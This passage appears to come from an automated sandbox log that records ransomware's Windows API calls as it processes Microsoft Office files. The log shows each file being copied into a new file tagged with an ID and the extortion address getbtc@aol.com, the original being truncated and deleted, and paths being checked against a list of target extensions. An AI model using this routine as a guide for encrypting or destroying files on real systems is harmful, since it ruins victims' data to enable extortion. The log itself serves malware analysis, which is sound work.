"c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0252.676] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=631) returned 1 [0252.676] CloseHandle (hObject=0x3c0) returned 1 [0252.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc")) returned 0x20 [0252.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0252.676] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.676] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0253.278] GetLastError () returned 0x0 [0253.278] ReadFile (in: hFile=0x3c0, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x277, lpOverlapped=0x0) returned 1 [0253.370] WriteFile (in: hFile=0x1f4, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x280, lpOverlapped=0x0) returned 1 [0253.371] ReadFile (in: hFile=0x3c0, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0253.371] WriteFile (in: hFile=0x1f4, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0253.371] SetEndOfFile (hFile=0x1f4) returned 1 [0253.371] CloseHandle (hObject=0x1f4) returned 1 [0253.371] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0253.371] SetEndOfFile (hFile=0x3c0) returned 1 [0253.373] CloseHandle (hObject=0x3c0) returned 1 [0253.373] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0253.374] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc")) returned 1 [0253.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0253.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0253.374] lstrlenW (lpString=".doc") returned 4 [0253.374] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0253.374] lstrlenW (lpString=".docx") returned 5 [0253.374] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0253.374] lstrlenW (lpString=".pdf") returned 4 [0253.374] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0253.374] lstrlenW (lpString=".xls") returned 4 [0253.374] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0253.374] lstrlenW (lpString=".xlsx") returned 5 [0253.374] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0253.374] lstrlenW (lpString=".ppt") returned 4 [0253.374] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0253.374] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0253.374] lstrlenW (lpString=".zip") returned 4 [0253.374] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0253.374] lstrlenW (lpString=".rar") returned 4 [0253.374] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0253.375] lstrlenW (lpString=".bz2") returned 4 [0253.375] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0253.375] lstrlenW (lpString=".7z") returned 3 [0253.375] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0253.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0253.375] lstrlenW (lpString=".dbf") returned 4 [0253.375] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0253.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0253.375] lstrlenW (lpString=".1cd") returned 4 [0253.375] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0253.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0253.375] lstrlenW (lpString=".jpg") returned 4 [0253.375] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0253.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0253.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0253.375] lstrlenW (lpString=".doc") returned 4 [0253.375] lstrcmpiW (lpString1=".doc", lpString2=".HXC") returned -1 [0253.375] lstrlenW (lpString=".docx") returned 5 [0253.375] lstrcmpiW (lpString1=".docx", lpString2="L.HXC") returned -1 [0253.375] lstrlenW (lpString=".pdf") returned 4 [0253.375] lstrcmpiW (lpString1=".pdf", lpString2=".HXC") returned 1 [0253.375] lstrlenW (lpString=".xls") returned 4 [0253.375] lstrcmpiW (lpString1=".xls", lpString2=".HXC") returned 1 [0253.375] lstrlenW (lpString=".xlsx") returned 5 [0253.375] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXC") returned -1 [0253.375] lstrlenW (lpString=".ppt") returned 4 [0253.375] lstrcmpiW (lpString1=".ppt", lpString2=".HXC") returned 1 [0253.375] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0253.375] lstrlenW (lpString=".zip") returned 4 [0253.375] lstrcmpiW (lpString1=".zip", lpString2=".HXC") returned 1 [0253.375] lstrlenW (lpString=".rar") returned 4 [0253.375] lstrcmpiW (lpString1=".rar", lpString2=".HXC") returned 1 [0253.375] lstrlenW (lpString=".bz2") returned 4 [0253.375] lstrcmpiW (lpString1=".bz2", lpString2=".HXC") returned -1 [0253.375] lstrlenW (lpString=".7z") returned 3 [0253.376] lstrcmpiW (lpString1=".7z", lpString2="HXC") returned -1 [0253.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0253.376] lstrlenW (lpString=".dbf") returned 4 [0253.376] lstrcmpiW (lpString1=".dbf", lpString2=".HXC") returned -1 [0253.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0253.376] lstrlenW (lpString=".1cd") returned 4 [0253.376] lstrcmpiW (lpString1=".1cd", lpString2=".HXC") returned -1 [0253.376] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC") returned 63 [0253.376] lstrlenW (lpString=".jpg") returned 4 [0253.376] lstrcmpiW (lpString1=".jpg", lpString2=".HXC") returned 1 [0253.376] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0253.376] lstrlenW (lpString="PJINTL.DLL") returned 10 [0253.376] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0253.406] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=3384192) returned 1 [0253.406] CloseHandle (hObject=0x1bc) returned 1 [0253.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll")) returned 0x20 [0253.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.407] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0253.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0253.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0253.407] lstrlenW (lpString=".doc") returned 4 [0253.407] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0253.407] lstrlenW (lpString=".docx") returned 5 [0253.407] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0253.407] lstrlenW (lpString=".pdf") returned 4 [0253.407] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0253.407] lstrlenW (lpString=".xls") returned 4 [0253.407] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0253.407] lstrlenW (lpString=".xlsx") returned 5 [0253.407] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0253.407] lstrlenW (lpString=".ppt") returned 4 [0253.407] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0253.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0253.407] lstrlenW (lpString=".zip") returned 4 [0253.407] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0253.407] lstrlenW (lpString=".rar") returned 4 [0253.407] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0253.407] lstrlenW (lpString=".bz2") returned 4 [0253.407] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0253.407] lstrlenW (lpString=".7z") returned 3 [0253.407] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0253.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0253.407] lstrlenW (lpString=".dbf") returned 4 [0253.407] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0253.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0253.407] lstrlenW (lpString=".1cd") returned 4 [0253.407] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0253.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0253.408] lstrlenW (lpString=".jpg") returned 4 [0253.408] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0253.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0253.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0253.408] lstrlenW (lpString=".doc") returned 4 [0253.408] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0253.408] lstrlenW (lpString=".docx") returned 5 [0253.408] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0253.408] lstrlenW (lpString=".pdf") returned 4 [0253.408] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0253.408] lstrlenW (lpString=".xls") returned 4 [0253.408] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0253.408] lstrlenW (lpString=".xlsx") returned 5 [0253.408] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0253.408] lstrlenW (lpString=".ppt") returned 4 [0253.408] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0253.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0253.408] lstrlenW (lpString=".zip") returned 4 [0253.408] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0253.408] lstrlenW (lpString=".rar") returned 4 [0253.408] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0253.408] lstrlenW (lpString=".bz2") returned 4 [0253.408] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0253.408] lstrlenW (lpString=".7z") returned 3 [0253.408] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0253.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0253.408] lstrlenW (lpString=".dbf") returned 4 [0253.408] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0253.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0253.408] lstrlenW (lpString=".1cd") returned 4 [0253.408] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0253.408] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL") returned 58 [0253.408] lstrlenW (lpString=".jpg") returned 4 [0253.408] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0253.409] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0253.409] lstrlenW (lpString="PJINTLC.DLL") returned 11 [0253.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintlc.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0253.409] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=154496) returned 1 [0253.409] CloseHandle (hObject=0x1bc) returned 1 [0253.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintlc.dll")) returned 0x20 [0253.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintlc.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintlc.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0253.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0253.410] lstrlenW (lpString=".doc") returned 4 [0253.410] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0253.410] lstrlenW (lpString=".docx") returned 5 [0253.410] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0253.410] lstrlenW (lpString=".pdf") returned 4 [0253.410] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0253.410] lstrlenW (lpString=".xls") returned 4 [0253.410] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0253.410] lstrlenW (lpString=".xlsx") returned 5 [0253.410] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0253.410] lstrlenW (lpString=".ppt") returned 4 [0253.410] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0253.410] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0253.411] lstrlenW (lpString=".zip") returned 4 [0253.411] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0253.411] lstrlenW (lpString=".rar") returned 4 [0253.411] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0253.411] lstrlenW (lpString=".bz2") returned 4 [0253.411] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0253.411] lstrlenW (lpString=".7z") returned 3 [0253.411] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0253.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0253.411] lstrlenW (lpString=".dbf") returned 4 [0253.411] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0253.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0253.411] lstrlenW (lpString=".1cd") returned 4 [0253.411] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0253.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0253.411] lstrlenW (lpString=".jpg") returned 4 [0253.411] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0253.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0253.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0253.411] lstrlenW (lpString=".doc") returned 4 [0253.411] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0253.411] lstrlenW (lpString=".docx") returned 5 [0253.411] lstrcmpiW (lpString1=".docx", lpString2="C.DLL") returned -1 [0253.411] lstrlenW (lpString=".pdf") returned 4 [0253.411] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0253.411] lstrlenW (lpString=".xls") returned 4 [0253.411] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0253.411] lstrlenW (lpString=".xlsx") returned 5 [0253.411] lstrcmpiW (lpString1=".xlsx", lpString2="C.DLL") returned -1 [0253.411] lstrlenW (lpString=".ppt") returned 4 [0253.412] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0253.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0253.412] lstrlenW (lpString=".zip") returned 4 [0253.412] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0253.412] lstrlenW (lpString=".rar") returned 4 [0253.412] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0253.412] lstrlenW (lpString=".bz2") returned 4 [0253.412] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0253.412] lstrlenW (lpString=".7z") returned 3 [0253.412] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0253.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0253.412] lstrlenW (lpString=".dbf") returned 4 [0253.412] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0253.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0253.412] lstrlenW (lpString=".1cd") returned 4 [0253.412] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0253.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTLC.DLL") returned 59 [0253.412] lstrlenW (lpString=".jpg") returned 4 [0253.412] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0253.412] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0253.412] lstrlenW (lpString="PMENURES.DLL") returned 12 [0253.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pmenures.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0253.421] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=10624) returned 1 [0253.421] CloseHandle (hObject=0x1bc) returned 1 [0253.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pmenures.dll")) returned 0x20 [0253.506] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pmenures.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0253.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pmenures.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0253.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0253.574] lstrlenW (lpString=".doc") returned 4 [0253.574] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0253.574] lstrlenW (lpString=".docx") returned 5 [0253.574] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0253.574] lstrlenW (lpString=".pdf") returned 4 [0253.574] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0253.574] lstrlenW (lpString=".xls") returned 4 [0253.574] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0253.574] lstrlenW (lpString=".xlsx") returned 5 [0253.574] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0253.574] lstrlenW (lpString=".ppt") returned 4 [0253.575] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0253.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0253.575] lstrlenW (lpString=".zip") returned 4 [0253.575] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0253.575] lstrlenW (lpString=".rar") returned 4 [0253.575] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0253.575] lstrlenW (lpString=".bz2") returned 4 [0253.575] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0253.575] lstrlenW (lpString=".7z") returned 3 [0253.575] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0253.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0253.575] lstrlenW (lpString=".dbf") returned 4 [0253.575] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0253.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0253.575] lstrlenW (lpString=".1cd") returned 4 [0253.575] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0253.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0253.575] lstrlenW (lpString=".jpg") returned 4 [0253.575] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0253.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0253.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0253.575] lstrlenW (lpString=".doc") returned 4 [0253.575] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0253.575] lstrlenW (lpString=".docx") returned 5 [0253.575] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0253.575] lstrlenW (lpString=".pdf") returned 4 [0253.575] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0253.575] lstrlenW (lpString=".xls") returned 4 [0253.575] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0253.575] lstrlenW (lpString=".xlsx") returned 5 [0253.575] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0253.575] lstrlenW (lpString=".ppt") returned 4 [0253.575] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0253.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0253.575] lstrlenW (lpString=".zip") returned 4 [0253.575] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0253.576] lstrlenW (lpString=".rar") returned 4 [0253.576] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0253.576] lstrlenW (lpString=".bz2") returned 4 [0253.576] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0253.576] lstrlenW (lpString=".7z") returned 3 [0253.576] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0253.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0253.576] lstrlenW (lpString=".dbf") returned 4 [0253.576] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0253.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0253.576] lstrlenW (lpString=".1cd") returned 4 [0253.576] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0253.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PMENURES.DLL") returned 60 [0253.576] lstrlenW (lpString=".jpg") returned 4 [0253.576] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0253.576] lstrcmpiW (lpString1=".HXT", lpString2=".Q1G") returned -1 [0253.576] lstrlenW (lpString="POWERPNT_COL.HXT") returned 16 [0253.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0253.577] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=208) returned 1 [0253.577] CloseHandle (hObject=0x388) returned 1 [0253.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt_col.hxt")) returned 0x20 [0253.577] GetFileAttributesW 